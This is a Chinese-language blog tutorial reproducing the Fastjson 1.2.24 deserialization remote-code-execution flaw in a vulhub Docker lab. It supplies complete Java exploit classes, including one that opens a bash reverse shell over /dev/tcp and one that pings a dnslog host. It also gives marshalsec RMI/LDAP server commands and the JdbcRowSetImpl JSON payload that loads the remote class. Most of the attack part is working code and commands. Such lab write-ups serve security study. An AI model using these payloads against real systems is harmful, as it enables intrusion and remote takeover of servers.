原理

通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。

复现版本

fastjson = 1.2.24

漏洞复现

攻击机:192.168.112.137
靶机:192.168.112.137:5002
1.靶机环境搭建

用docker拉取靶机镜像

docker pull vulhub/fastjson:1.2.24

创建启动靶机容器

docker run -d -p 5002:8090 vulhub/fastjson:1.2.24
注:5002为外部映射端口,可自定义

2.漏洞检测利用
判断是否使用Fastjson框架

1.通过json解析异常抛出
2.通过DNSLOG判断

使用post请求,不带参数或者带一场参数,返回报错信息,使用fastjson框架
19.jpg
如果服务端禁止输出报错信息,可以使用dnslog的方法
5240.jpg
95304.jpg

使用Poc检测(利用dnslog)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Poc{
    public Poc() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "ping odudmq.dnslog.cn"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

命名为Poc.java
使用命令javac Poc.java,生成Poc.class
2055.jpg
使用python开启http服务

python3 -m http.server 5623

202123.jpg
Poc.class放到该目录下
下载marshalsec-0.0.3-SNAPSHOT-all.jar
https://wwe.lanzoui.com/i8FMSvvoevg
使用RMI或LDAP的服务加载远程类文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.137:5623/#Poc" 8653

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.137:5623/#Poc" 8653

202942.jpg
构造数据包加载远程类

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.137:8653/Poc",
        "autoCommit":true
    }
}

3.jpg
查看dnslog日志
58.jpg

反弹shell
exp文件

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exp{
    public Exp() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >&  /dev/tcp/192.168.112.1/4563 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

命名为Exp.java,使用命令javac Exp.java,生成Exp.class文件
放到刚才python的http服务目录下
加载远程类文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.1:5623/#Exp" 8653
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.137:8653/Poc",
        "autoCommit":true
    }
}

3.jpg
获取反弹shell
019.jpg

参考:https://dyblogs.cn/dy/2392.html
https://www.sohu.com/a/411003981_610481

最后修改:2021 年 10 月 29 日 06 : 53 PM
如果觉得我的文章对你有用,请随意赞赏